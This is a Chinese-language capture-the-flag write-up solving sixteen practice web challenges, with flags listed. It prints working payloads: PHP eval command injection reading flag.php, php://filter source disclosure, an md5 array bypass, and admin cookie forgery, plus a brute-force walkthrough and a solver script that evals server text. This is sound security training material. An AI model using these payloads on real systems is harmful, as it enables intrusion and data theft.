web练习
web1-文件包含
打开题目,看到如下代码
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
构造语句
?hello=);echo%20`cat%20./flag.php`;//
发现页面没有回显
检查源码后拿到flag
flag{ccd234c9-c022-4ce3-8a62-e56374e3324f}
web2-暴力破解
打开题目
burp抓包,然后将得到的数据发送到Intruder
根据提示设置下参数
爆破后得到密码
13579
拿到flag
web3-全局变量读取
打开题目审计代码
//分析
flag In the variable ! //flag在变量中
<?php error_reporting(0); //关闭php中错误提示
include"flag1.php"; //将flag1.php文件包含进来。
highlight_file(__file__); //highlight_file()函数是高亮显示PHP语法。详细参考:highllight()函数
if(isset($_GET['args'])){ //判断是否传入args参数
$args = $_GET['args']; //赋值
if(!preg_match("/^\w+$/",$args)){ //重点来了。这是一个正则表达式匹配字符串的函数,在这里意思是匹配任意 [A-Z,a-z,0-9,_] 的字符,就是任意大小写字母和0到9以及下划线组成.详情参考:正则表达式
die("args error!"); // 因为if语句取反了,所以如果不匹配会输出 args error!
}
eval("var_dump($$args);"); //eval() 将文本变成php命令执行。 这里也就是打印变量。$$args可以理解为$($args)
}
?>
根据提示全局变量构造语句
/?args=GLOBALS
得到flag
flag{92853051ab894a64f7865cf3c2128b34}
web4-文件读取
打开题目
发现有个a标签点击下
根据题目标题结合index.php?file=show.php想到文件读取的点,接着想到读取流
php://filter/read=convert.base64-encode/resource
构造下语句
http://ctf.xuegod.cn:1023/index.php?file=php://filter/read=convert.base64-encode/resource=show.php
base解密下,并没有发现可疑的东西
因为这里除show.php,也就只知道index.php页面了,再试下能不能读取道其他信息
http://ctf.xuegod.cn:1023/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
之后,base64解密下
拿到flag
flag{edulcni_elif_lacol_si_siht}
web5-get-url传参
审计代码……算了,直接构造语句
/?what=flag
得到flag
flag{bugku_get_su8kej2en}
web6-post-data传参
审计代码……这里需要post传参,打开Hackbar
得到flag
flag{bugku_get_ssseint67se}
web7-jsfuck-解密
打开题目
检查源码
F12控制台
得到被编码的参数,提交以后发现错误,看样子应该是大写的
使用python转换为大写试试
这次发现是对的了
得到flag
CTF{WHATFK}
web8-矛盾
打开题目
审计下代码……
if(!is_numeric($num)) //num的参数不为数字
构造语句
/?num=1a
得到flag
flag{bugku-789-ps-ssdf}
web9-Unicode-无限弹框
打开题目
发现一直再弹窗,可能是循环比较少,当它停止的时候出现这个页面
检查下源码
发现被注释掉的部分,是html的转义,这里直接利用浏览器的特性,得到flag
KEY{J2sa42ahJK-HS11III}
web10-unescape编码
打开题目
查看下源代码
根据下面这个格式拼接
进行在线解码
整理下格式
function checkSubmit() {
var a = document.getElementById("password");
if ("undefined" != typeof a) {
if ("67d709b2b54aa2aa648cf6e87a7114f1" == a.value) return ! 0;
alert("Error");
a.focus();
return ! 1
}
}
document.getElementById("levelQuest").onsubmit = checkSubmit;
审计代码…… 发现
password==67d709b2b54aa2aa648cf6e87a7114f1
得到flag
KEY{J22JK-HS11}
web11-验证码
打开题目
输入答案,发现仅能输入一位
猜想前端有限制,检查一下
修改下这个参数,然后提交结果,得到flag
flag{CTF-bugku-0032}
web12-F5刷新
打开题目发现页面一直再刷新
之后检查下源码
再截图的过程中发现,在这个位置出现了flag,不过很快就被刷新掉了
得到flag
flag{dummy_game_1s_s0_popular}
web13-备份是个好习惯
查看题目
通过观察可以看到,前后两部分是一样的再根据格式判断这可能时MD5值
根据题目可知,这里存在备份文件,常用的备份格式一般为
.bak
.swo
.swp
.svn
inde.php~
...
可以看到,此时有文件被下载下来
查看下文件
<?php
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
审计代码…… 可以看到如果key1==key2得到flag不过遇到key就会替换成空
所以构造语句(利用md5的0的特性)
//md5函数无法处理数组,结果都会返回NULL
/?kekeyy1[]=a&kekeyy2[]=b
得到flag
Bugku{OH_YOU_FIND_MY_MOMY}
web14-白名单登录
web15-利用cookie获取admin权限
打开题目
打开后看到登录框
根据标题小饼干判断可能是Cookie
开启burpsuite
使用默认用户名和密码登录
登录后设置了两个Cookie并302跳转到home.php
Set-Cookie: u=351e76680314c4b06b824ec593239362517f538b29 Set-Cookie: r=351e766803d63c7ede8cb1e1c8db5e51c63fd47cff
继续跟随跳转到home.php
页面返回权限不够
目前看来整个登录流程就是
-
HTML表单提交到home.php
-
home.php根据用户名密码生成Cookie并重定向
-
home.php验证Cookie并返回页面
对比信息
注册一个账号并登录
查看生成的Cookie
Set-Cookie: u=351e766803d0a87b4018d6521b0f5a49e5e03adb6d Set-Cookie: r=351e766803d63c7ede8cb1e1c8db5e51c63fd47cff
与前面正常的进行对比
默认登录 u=351e76680314c4b06b824ec593239362517f538b29 r=351e766803d63c7ede8cb1e1c8db5e51c63fd47cff 用户登录 u=351e766803d0a87b4018d6521b0f5a49e5e03adb6d r=351e766803d63c7ede8cb1e1c8db5e51c63fd47cff
发现前面10位相同 351e766803
生成的Cookie长度为42
去掉后Cookie长度为32
尝试md5破解
默认登录 u=username r=limited 用户登录 u=virgin r=limited
这么一对比就很明显了
伪造Cookie
Cookie: 351e766803+md5(admin) Cookie: 351e76680321232f297a57a5a743894a0e4a801fc3
得到flag
flag{98112cb20fb17cc81687115010f8a5c3}
web16-秋名山老司机
打开题目
题目要求2s内计算一个算式并提交结果,用python写一个脚本如下
import re import requests url="http://ctf.xuegod.cn:1035/" s=requests.Session() response=s.get(url) reg=re.compile(r'[0-9+\-*]{3,}[0-9]') #{3,}代表匹配次数>3次,本来是用一个+的,但会匹配response中的utf-8的-8 obj=reg.findall(response.text) data={'value':eval(obj[0])} reps=s.post(url,data=data) print(reps.content.decode('utf-8'))
即可在返回结果中找到flag